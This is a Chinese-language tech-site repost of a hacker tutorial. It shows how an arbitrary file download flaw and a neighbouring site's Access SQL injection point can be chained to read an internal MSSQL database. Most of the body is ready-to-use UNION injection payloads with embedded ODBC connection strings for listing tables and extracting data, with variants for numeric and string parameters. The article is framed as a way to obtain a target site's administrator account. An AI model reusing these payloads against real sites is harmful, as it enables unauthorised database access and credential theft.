科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道网络安全黑客如何通过Access来获取MSSQL数据

黑客如何通过Access来获取MSSQL数据

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

 首先说明一点,这个方法很早就有了,不过用时大概在脑袋里沉寂太久,已经处于忘却状态。感谢Trace提供资料。经常会遇到任意文件下载漏洞,一般处理的方法是把数据库连接文件下载回来,然后远程连接上。

来源:chinaitlab 2010年12月12日

关键字: Access 黑客 网络安全

  • 评论
  • 分享微博
  • 分享邮件

  首先说明一点,这个方法很早就有了,不过用时大概在脑袋里沉寂太久,已经处于忘却状态。感谢Trace提供资料。经常会遇到任意文件下载漏洞,一般处理的方法是把数据库连接文件下载回来,然后远程连接上。

  首先说明一点,这个方法很早就有了,不过用时大概在脑袋里沉寂太久,已经处于忘却状态。感谢Trace提供资料。

  经常会遇到任意文件下载漏洞,一般处理的方法是把数据库连接文件下载回来,然后远程连接上去。最理想的状态莫过于MSSQL和MYSQL,尤其是在数据库和WEB不分离的情况下,备分SHELL,导出SHELL,可以用的方法很多。

  不过要是数据库和WEB分离,而且数据库在内网不可上网,或者有防火墙等等 其他手段使得我们无法连上远程数据库时,不妨假设的再艰难一些,甚至无法找到一个mssql注射点时,很多情况下通常会束手无策。

  这里以 MSSQL为例子,很凑巧找到一个任意文件下载漏洞,直接下了WEB.CONFIG回来看,发现数据库在内网,找了半天没找到注射点,稍微旁注一下,有一个站,可惜是ACCESS数据库。猜不到表和后台。不过目标站的后台是知道的,然后准备从这个access注射点读出目标站管理员帐户。直观一些,下面直 接给出我本地测试结果:

  

  弄的简单一点,就3个字段,ID,XM,XB,ID数字型,后面2个字符型。

  假设存在漏洞的文件中,执行SQL语句 select * from test whrere id = 1

  这里有3个字段,我们用UNION联合查询给他匹配一下就是(黑盒操作时用order by 或者穷举来确定字段个数)

  SELECT * FROM test where id=999999 union Select top 1 1,2,name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].ku

  这里的master库中我建立了一个名为KU的表,上面这个查询语句中,由于id=999999不存在,在联合查询的作用下,web上原本显示access数据库内容的位置显示出了我们构造的UNION查询结果,name字段处于一个字符型的显示位置。

  

2.jpg  大小: 5.25 K 尺寸: 200 x 74 浏览: 0 次 点击打开新窗口浏览全图

  ku这个表里的name字段内容就会被显示在web上相应的位置,不过这个显然不是我们想要的,我们要的是整个表的结构和内容,以master为例子,这里是模拟的结果,事先我已经知道master的结构,待会方便和结果比对校验是否有错。

  

3.jpg  大小: 4.76 K 尺寸: 199 x 105 浏览: 1 次 点击打开新窗口浏览全图

  SELECT * FROM test where id=999999 union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables

  这样master库的第一个表名就出来了。

  

4.jpg  大小: 5.49 K 尺寸: 199 x 75 浏览: 0 次 点击打开新窗口浏览全图

  获得后面的表名也很简单。

  SELECT * FROM test where id=999999 union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables where table_name not in (select top 1 table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=****;DataBase=master].information_schema.tables

  

5.jpg  大小: 5.17 K 尺寸: 199 x 73 浏览: 0 次 点击打开新窗口浏览全图

  以次类以常规方法推取得字段名和字段内容,代码烦琐自行研究下。

  如果数据库里的ID是字符型,则

  SELECT * FROM test where id='999999' union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=***;DataBase=master].information_schema.tables where '1'='1'

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章